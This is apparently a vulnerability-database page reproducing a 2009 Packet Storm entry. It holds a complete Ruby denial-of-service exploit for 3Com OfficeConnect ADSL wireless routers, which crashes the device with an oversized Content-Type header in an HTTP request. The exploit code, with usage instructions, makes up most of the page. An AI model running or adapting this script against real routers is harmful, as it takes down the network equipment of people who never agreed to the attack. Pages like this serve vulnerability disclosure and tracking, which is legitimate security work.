Lucene search
K

3Com OfficeConnect Content-Type Denial Of Service

🗓️ 21 Dec 2009 00:00:00Reported by Alberto OrtegaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

3Com OfficeConnect ADSL Wireless 11g Firewall Router Remote DoS exploit by HTTP. Tested on 3CRWDR100A-72 and 3CRWDR100Y-72, Software Version 2.06T13 (Apr 2007). Remote exploit by Ruby

Code
`###############  
# Model -> Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72  
# Software Version -> Tested on 2.06T13 (Apr 2007, last version for these routers)  
# Attacker -> Tested from GNU/Linux (Sidux and Ubuntu) and Windows 7  
#  
# Exploit languaje -> Ruby  
# Type -> Remote Denial of Service Exploit by HTTP  
#  
# Additional info:  
# - The bug can be exploited with Tamper Data (Firefox Addon) too, LOL.  
#  
###############  
# Discovered and written by Alberto Ortega  
# http://pentbox.net/  
###############  
  
require "socket"  
  
host = ARGV[0]  
buffer = "A"  
send = ""  
  
puts ""  
if !host  
puts " 3Com OfficeConnect ADSL Wireless 11g Firewall Router"  
puts " Remote DoS Exploit by HTTP"  
puts " ------ Usage ---------------------------------------"  
puts " ruby 3com_dosexploit.rb host"  
puts " Ex: ruby 3com_dosexploit.rb 192.168.1.1"  
else  
begin  
socket = TCPSocket.new(host, 80)  
puts "- Exploiting ..."  
# 8.times is enough to DoS  
9.times do  
buffer = "#{buffer}#{buffer}"  
end  
# Here are the HTTP packet, Content-Type value causes the DoS  
send = "GET / HTTP/1.1\r\nContent-Type:#{buffer}\r\n"  
socket.write(send)  
puts "- Successfully! :)"  
rescue  
puts "Connection problem"  
end  
end  
puts ""  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation